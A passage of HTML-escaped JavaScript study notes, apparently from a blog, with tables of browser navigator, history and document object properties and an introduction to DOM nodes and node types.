style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Property&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="464"&gt;&lt;div align="LEFT"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Description&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="151"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_nav_appcodename.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;appCodeName&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="464"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the code name of the browser&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="151"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_nav_appname.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;appName&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="464"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the name of the browser&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;&lt;td width="151"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_nav_appversion.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;appVersion&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="464"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the version information of the browser&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="151"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_nav_cookieenabled.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;cookieEnabled&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="464"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Determines whether cookies are enabled in the browser&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="151"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_nav_platform.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;platform&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="464"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns for which platform the browser is compiled&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="151"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_nav_useragent.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;userAgent&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="464"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the user-agent header sent by the browser to the server&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;Window.opener - gives a reference to the parent window that has created this document.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;window.history object.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;setInterval - call a function every x &amp;nbsp;milli seconds (setInterval(func, 100))&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;setTimeout - call a function after x milli seconds&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;History Object Properties&lt;/div&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="font-family: 'Times New Roman'; width: 625px;"&gt;&lt;colgroup&gt;&lt;col width="120"&gt;&lt;/col&gt;&lt;col width="496"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width="120"&gt;&lt;div align="LEFT"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Property&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="496"&gt;&lt;div align="LEFT"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Description&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="120"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_his_length.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;length&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="496"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the number of URLs in the history list&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2 class="western" style="font-family: 'Times New Roman'; font-weight: normal; margin-bottom: 0.26cm; margin-top: 0.26cm; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;History Object Methods&lt;/span&gt;&lt;/h2&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="font-family: 'Times New Roman'; width: 625px;"&gt;&lt;colgroup&gt;&lt;col width="120"&gt;&lt;/col&gt;&lt;col width="496"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width="120"&gt;&lt;div align="LEFT"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Method&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="496"&gt;&lt;div align="LEFT"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Description&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="120"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_his_back.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;back()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="496"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Loads the previous URL in the history list&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="120"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_his_forward.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;forward()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="496"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Loads the next URL in the history list&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="120"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/met_his_go.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;go()&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="496"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Loads a specific URL from the history list&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Example:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0cm; text-align: left;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Courier New', monospace;"&gt;history.back(); // equivalent to clicking back button&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0cm; text-align: left;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Courier New', monospace;"&gt;history.go(-1); // equivalent to history.back();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;b&gt;DOM:&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;b&gt;Node interface:&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0.5cm;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;To the W3C DOM, everything in an HTML document is a node. The entire document is a document node; every HTML tag element node&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;and the texts contained in these elements are text nodes. Furthermore, HTML attributes like ID are attribute nodes, and even comments are comment nodes.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;Every node in the document has five properties and two nodeLists that allow you easy short-distance travel. The five properties are parentNode, firstChild, lastChild, previousSibling, and nextSibling. chileNodes[] array&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;&lt;b&gt;nodeName:&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;The name of an element node is always the tag name, the name of an attribute node is always the attribute name, the name of a text node is always #text, and the name of the document node is always #document.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.5cm; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;NodeType:&lt;/b&gt;&lt;br /&gt;nodeType contains a number that gives the type of the node:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;table border="0" cellpadding="0" cellspacing="0" style="width: 626px;"&gt;&lt;colgroup&gt;&lt;col width="626"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="TOP" width="626"&gt;&lt;table border="1" cellpadding="4" cellspacing="0" style="width: 626px;"&gt;&lt;colgroup&gt;&lt;col width="304"&gt;&lt;/col&gt;&lt;col width="304"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr valign="TOP"&gt;  &lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Element type&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;nodeType&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Element&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Attribute&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Text&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Comment&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="304"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;9&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="margin-bottom: 0.5cm; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.5cm; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Node Methods:&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;There are four methods offered by node interface for changing the node tree. AppendChild(), insertBefore(), removeChild(), replaceChild(), cloneNode(). We would understand them along with the document object methods in the sections to follow.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Document object:&lt;/b&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;h4 class="western"&gt;Other Document Object properties&lt;/h4&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="width: 625px;"&gt;&lt;colgroup&gt;&lt;col width="173"&gt;&lt;/col&gt;&lt;col width="401"&gt;&lt;/col&gt;&lt;col width="37"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width="173"&gt;&lt;div align="LEFT" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Property&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="401"&gt;&lt;div align="LEFT" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Description&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th width="37"&gt;&lt;div align="LEFT" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;W3C&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_cookie.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;cookie&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns all name/value pairs of cookies in the document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_documentmode.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;documentMode&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the mode used by the browser to render the document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;No&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_domain.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;domain&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Returns the domain name of the server that loaded the document&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="37"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width="173"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="color: navy;"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a class="western" href="http://www.w3schools.com/jsref/prop_doc_lastmodified.asp"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;lastModified&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="401"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 